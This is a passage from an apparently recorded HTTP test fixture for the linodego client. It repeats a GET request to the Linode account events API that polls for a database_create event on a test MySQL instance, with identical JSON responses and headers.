Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 